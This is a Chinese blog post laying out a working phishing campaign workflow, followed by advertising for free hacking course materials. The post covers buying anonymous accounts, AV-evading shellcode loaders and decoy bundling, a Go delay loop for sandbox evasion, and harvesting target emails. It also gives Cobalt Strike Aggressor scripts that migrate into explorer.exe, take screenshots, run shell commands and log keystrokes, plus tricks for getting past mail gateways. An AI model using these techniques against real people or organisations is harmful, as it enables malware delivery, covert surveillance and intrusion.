干货！ 社工钓鱼基本流程

扫码获取网安教程

前言

穷则社工钓鱼，达则0day炸场-微步在线，借用微步公众号的一句话，没有后端资源支持的情况下，社工钓鱼必学技能，毕竟正面打不动，代码审不动，0day又没有是日常，下文讲解自己对于社工钓鱼的思路。

社交账号

准备一些社交账号，如微信、QQ、脉脉、BOSS直聘、猎聘，手机号可以购买阿里小号/和多号。其中微信可以用辅助注册或者阿里小号/和多号注册，如果你有匿名的渠道购买更好。

邮箱方面，一般常用QQ邮箱、163邮箱，这些目前还是有渠道可以购买的，没钱或者担心购买不可靠，跟身边亲朋好友借也行。

免杀马

免杀的马子是必备的，如果你是和我一样的免杀弟弟，我推荐先学习shellcode loader的一些编写思路
ShellcodeLoader：https://github.com/xf555er/ShellcodeLoader

基本加载器思路为shellcode申请内存(可读可写) -> 载入内存 -> 执行内存

• 申请内存：VirtualAlloc

• 载入内存：memcpy

• 执行内存：CreateThread WaitForSingleObject
  针对这三个过程可以使用不同的函数来达到规避杀软的效果，例如申请内存还可以用GlobalAlloc、CoTaskMemAlloc函数，执行内存可以用回调函数EnumFontsW、EnumUILanguages、EnumFontFamiliesA。

主要还是查文档自己多动手，学完就算不会写免杀马，改改别人GitHub的马子，过国内360火绒基本没问题，然后就是研究下捆绑exe释放正常文件，搞不懂直接给马子弹个框文件已损坏，无法打开也行，不然经常出现对方问你这文件怎么打不开…

平时钓鱼的马子经常要改图标加签名之类的，推荐如下项目，在原项目360QVM_bypass (https://github.com/Pizz33/360QVM_bypass)的基础上，进行修改增加签名功能。360QVM_bypass-public (https://github.com/S9MF/my_script_tools/blob/main/360QVM_bypass-public/README.md)

bypass沙箱

为了延长马子存活时间，基本的沙箱对抗少不了，毕竟有防守人员的话，你投递的木马基本都得沙箱走一走，以微步沙箱为例，最简单的循环打印。

使用sleep函数延迟执行容易被hook，修改为0，可以编写循环打印来延迟程序时间，来绕过沙箱检测，因为沙箱运行程序是有时间限制的。

//循环打印进行延时 运行1m2s后执行shellcode 沙箱分析时间没那么久 可以绕过沙箱检测  
func add() {  
    start :\= time.Now() //获取当前时间  
    //1000000  1m2.793228s  
    sum, i :\= 0, 1  
    for i < 1000000 {  
        fmt.Println(i)  
        sum += i  
        i++  
    }  
    elapsed :\= time.Since(start)  
    fmt.Println("该函数执行完成耗时：", elapsed)  
}  

将如上代码放在shellcode执行前就行。

信息收集

思维导图如下，每个人都有自己的思路，我就简单讲解几个。

零零信安直接搜索公司名称，得到一些邮箱地址

拿邮箱后缀+关键字去微信搜一搜，Google、百度等搜索引擎也可以搜，可以获取业务招聘相关邮箱信息、手机号等。
如下组合：
@xxx.com 招聘 @xxx.com 校招 @xxx.com 投标 @xxx.com 联系方式

C2搭建准备

常用的就cs，基本的套层CDN然后c2上线端口反代下，这里我会用到cs插件脚本
PushPlus2：https://github.com/S9MF/my_script_tools/blob/main/CS%E6%8F%92%E4%BB%B6/README.md

常用的就是上线提醒、自动迁移进程

#自动迁移进程  
    sub callback{  
        $regex \= '(.\*\\n)+explorer.exe\\t\\d+\\t(\\d+)(.\*\\n)+';  
        # 要迁移的进程  
        $listener \= "ecloud";  
        # 监听器名字，此处为ecloud，记得修改为自己的  
        if ($2 ismatch $regex){  
            $pid \= matched()\[1\];  
            $inject\_pid \= $pid;  
            if (-is64 $1){  
                $arch \= "x64";  
            }  
            else{  
                $arch \= "x86";  
            }  
            binject($1, $pid, $listener, $arch);  
        }  
    }  
    if($inject\_pid != beacon\_info($1,"pid")){  
        bps($1, &callback);  
    }  

还有上线自动截图功能，就算目标掉了起码还有张图证明上线过

#只截一张图  
    #binput($1, "screenshot");  
    #bscreenshot($1);  
  
    #连续截图  
    binput($1, "screenwatch");  
    bscreenwatch($1);  

其他的上线自动执行shell命令、键盘记录看自己需求吧

#执行自定义cmd命令  
    bshell($1, "ipconfig /all");  
    #键盘记录  
    bkeylogger($1);  

还有其他需求可以去翻翻文档Aggressor Script：https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/agressor_script.htm

如果你有好用稳定的权限提升维持工具、如Bypass UAC、以及计划任务、服务，可以考虑下写个cs脚本上线自动bypass uac，加权限维持。

邮件网关/沙箱

默认对面有邮件网关/沙箱设备，针对邮件正文和附件要有一定处理或者技巧。

• 针对正文
  不带知名公司名称如脉脉、BOSS直聘不然容易被当成广告邮件，不把附件解密密码放在正文，容易被沙箱识别密码分析附件。

• 针对附件
  文件名加密，解压密码写在附件名上。

开钓

通过之前的准备，我们已经有了一些可供尝试的信息，此时需要构建话术剧本然后去钓鱼。

上线后的操作

参考L33h0m师傅的文章分享我的CS钓鱼流程导图（权限维持+信息收集+后渗透阶段）: https://www.t00ls.com/articles-69037.html

总结

本文讲解了我对社工钓鱼的基本流程，偏向于思路，师傅们有其他思路欢迎在评论区留言，学习交流。

今天只要你给我的文章点赞，我私藏的网安学习资料一样免费共享给你们，来看看有哪些东西。

网络安全学习资源分享:

给大家分享我自己学习的一份全套的网络安全学习资料，希望对想学习 网络安全的小伙伴们有帮助！

零基础入门

对于从来没有接触过网络安全的同学，我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线，大家跟着这个大的方向学习准没问题。

【点击免费领取】CSDN大礼包：《黑客&网络安全入门&进阶学习资源包》

1.学习路线图

攻击和防守要学的东西也不少，具体要学的东西我都写在了上面的路线图，如果你能学完它们，你去接私活完全没有问题。

2.视频教程

网上虽然也有很多的学习资源，但基本上都残缺不全的，这是我自己录的网安视频教程，上面路线图的每一个知识点，我都有配套的视频讲解。【点击领取视频教程】

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本【点击领取技术文档】

（都打包成一块的了，不能一一展开，总共300多集）

3.技术文档和电子书

技术文档也是我自己整理的，包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点，电子书也有200多本【点击领取书籍】

4.工具包、面试题和源码

“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等，感兴趣的同学不容错过。

最后就是我这几年整理的网安方面的面试题，如果你是要找网安方面的工作，它们绝对能帮你大忙。

这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的，如果大家有好的题目或者好的见解欢迎分享。

参考解析：深信服官网、奇安信官网、Freebuf、csdn等

内容特点：条理清晰，含图像化表示更加易懂。

内容概要：包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…

👋全套《黑客&网络安全入门&进阶学习资源包》👇👇👇

这份完整版的学习资料已经上传CSDN，也可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】